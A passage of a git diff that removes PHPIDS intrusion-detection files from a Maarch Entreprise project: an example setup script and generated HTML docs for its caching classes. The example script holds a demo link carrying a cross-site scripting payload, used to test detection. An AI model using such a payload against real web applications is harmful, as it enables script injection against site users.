- * It's pretty easy to get the PHPIDS running - * 1. Define what to scan - * - * Please keep in mind what array_merge does and how this might interfer - * with your variables_order settings - */ - $request = array( - 'REQUEST' => $_REQUEST, - 'GET' => $_GET, - 'POST' => $_POST, - 'COOKIE' => $_COOKIE - ); - - $init = IDS_Init::init(dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'); - - /** - * You can also reset the whole configuration - * array or merge in own data - * - * This usage doesn't overwrite already existing values - * $config->setConfig(array('General' => array('filter_type' => 'xml'))); - * - * This does (see 2nd parameter) - * $config->setConfig(array('General' => array('filter_type' => 'xml')), true); - * - * or you can access the config directly like here: - */ - - $init->config['General']['base_path'] = dirname(__FILE__) . '/../../lib/IDS/'; - $init->config['General']['use_base_path'] = true; - $init->config['Caching']['caching'] = 'none'; - - // 2. Initiate the PHPIDS and fetch the results - $ids = new IDS_Monitor($request, $init); - $result = $ids->run(); - - /* - * That's it - now you can analyze the results: - * - * In the result object you will find any suspicious - * fields of the passed array enriched with additional info - * - * Note: it is moreover possible to dump this information by - * simply echoing the result object, since IDS_Report implemented - * a __toString method. - */ - if (!$result->isEmpty()) { - echo $result; - - /* - * The following steps are optional to log the results - */ - require_once 'IDS/Log/File.php'; - require_once 'IDS/Log/Composite.php'; - - $compositeLog = new IDS_Log_Composite(); - $compositeLog->addLogger(IDS_Log_File::getInstance($init)); - - /* - * Note that you might also use different logging facilities - * such as IDS_Log_Email or IDS_Log_Database - * - * Just uncomment the following lines to test the wrappers - */ - /* - * - require_once 'IDS/Log/Email.php'; - require_once 'IDS/Log/Database.php'; - - $compositeLog->addLogger( - IDS_Log_Email::getInstance($init), - IDS_Log_Database::getInstance($init) - ); - */ - $compositeLog->execute($result); - - - } else { - echo '<a href="?test=%22><script>eval(window.name)</script>">No attack detected - click for an example attack</a>'; - } -} catch (Exception $e) { - /* - * sth went terribly wrong - maybe the - * filter rules weren't found? - */ - printf( - 'An error occured: %s', - $e->getMessage() - ); -} diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching.html deleted file mode 100755 index d89cd325358973c411abe336f885d60a58370ba9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching.html +++ /dev/null @@ -1,123 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Caching</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Caching factory</p> -<p class="description"><p>This class is used as a factory to load the correct concrete caching implementation.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Factory.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---Factory.php.html">/Caching/Factory.php</a> (line <span class="field">51</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object the</span> - <a href="#factory" title="details" class="method-name">factory</a> - (<span class="var-type">array</span> <span class="var-name">$init</span>, <span class="var-type">string</span> <span class="var-name">$type</span>) - </div> - - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodfactory" id="factory"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method factory</span> (line <span class="line-number">62</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Factory method</p> - <ul class="tags"> - <li><span class="field">return:</span> caching facility</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object the</span> - <span class="method-name"> - factory - </span> - (<span class="var-type">array</span> <span class="var-name">$init</span>, <span class="var-type">string</span> <span class="var-name">$type</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: the caching type</span> </li> - </ul> - - - </div> - - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html deleted file mode 100755 index 2ed51c9dfd8a911796c99a9d3afbc6b1514e7fd8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html +++ /dev/null @@ -1,244 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching_Database</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Caching_Database</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Database caching wrapper</p> -<p class="description"><p>This class inhabits functionality to get and set cache via a database.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Database.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Groupup</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---Database.php.html">/Caching/Database.php</a> (line <span class="field">72</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#getCache" title="details" class="method-name">getCache</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setCache" title="details" class="method-name">setCache</a> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">129</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">113</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> -<p class="description"><p>Connects to database.</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> -<a name="methodgetCache" id="getCache"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getCache</span> (line <span class="line-number">181</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns the cached data</p> -<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> - <ul class="tags"> - <li><span class="field">return:</span> cache data or false</li> - <li><span class="field">throws:</span> PDOException if a db error occurred</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - getCache - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodsetCache" id="setCache"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setCache</span> (line <span class="line-number">146</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Writes cache data into the database</p> - <ul class="tags"> - <li><span class="field">throws:</span> PDOException if a db error occurred</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setCache - </span> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$data</span><span class="var-description">: the caching data</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html deleted file mode 100755 index d1fcce51b1a6b07fefe06c539ee3fc12c80b5c8e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_File.html +++ /dev/null @@ -1,242 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching_File</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Caching_File</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">File caching wrapper</p> -<p class="description"><p>This class inhabits functionality to get and set cache via a static flatfile.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---File.php.html">/Caching/File.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#getCache" title="details" class="method-name">getCache</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setCache" title="details" class="method-name">setCache</a> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">113</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">91</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> -<a name="methodgetCache" id="getCache"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getCache</span> (line <span class="line-number">163</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns the cached data</p> -<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> - <ul class="tags"> - <li><span class="field">return:</span> cache data or false</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">mixed</span> - <span class="method-name"> - getCache - </span> - () - </div> - - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodgetCache">IDS_Caching_Interface::getCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> -<a name="methodsetCache" id="setCache"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setCache</span> (line <span class="line-number">130</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Writes cache data into the file</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if cache file couldn't be created</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setCache - </span> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$data</span><span class="var-description">: the cache data</span> </li> - </ul> - - <hr class="separator" /> - <div class="notes">Implementation of:</div> - <dl> - <dt><a href="../PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a></dt> - <dd>Interface method</dd> - </dl> - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html deleted file mode 100755 index 118d5de7195110a3bc141dbf17e491fbbdd7b2ef..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html +++ /dev/null @@ -1,146 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching_Interface</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Interface IDS_Caching_Interface</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Caching wrapper interface</p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> SVN: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---Interface.php.html">/Caching/Interface.php</a> (line <span class="field">48</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#getCache" title="details" class="method-name">getCache</a> - () - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setCache" title="details" class="method-name">setCache</a> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="methodgetCache" id="getCache"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getCache</span> (line <span class="line-number">64</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Interface method</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - getCache - </span> - () - </div> - - - - </div> -<a name="methodsetCache" id="setCache"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setCache</span> (line <span class="line-number">57</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Interface method</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setCache - </span> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$data</span><span class="var-description">: the cache data</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html deleted file mode 100755 index f9d06fdbae1db85cc95fd0fa982e8ba306b79a0b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Caching_Memcached.html +++ /dev/null @@ -1,243 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Caching_Memcached</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Caching_Memcached</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <p class="implements"> - Implements interfaces: - <ul> - <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> - </p> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">File caching wrapper</p> -<p class="description"><p>This class inhabits functionality to get and set cache via memcached.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Memcached.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Groupoup</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Caching---Memcached.php.html">/Caching/Memcached.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#getInstance" title="details" class="method-name">getInstance</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">mixed</span> - <a href="#getCache" title="details" class="method-name">getCache</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setCache" title="details" class="method-name">setCache</a> - (<span class="var-type"></span> <span class="var-name">$data</span>) - </div> - </div> - </div> - </div> - - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodgetInstance" id="getInstance"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">static method getInstance</span> (line <span class="line-number">124</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - getInstance - </span> - (<span class="var-type">string</span> <span class="var-name">$type</span>, <span class="var-type">array</span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$type</span><span class="var-description">: caching type</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$init</span><span class="var-description">: the IDS_Init object</span> </li> - </ul> - - - </div> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span 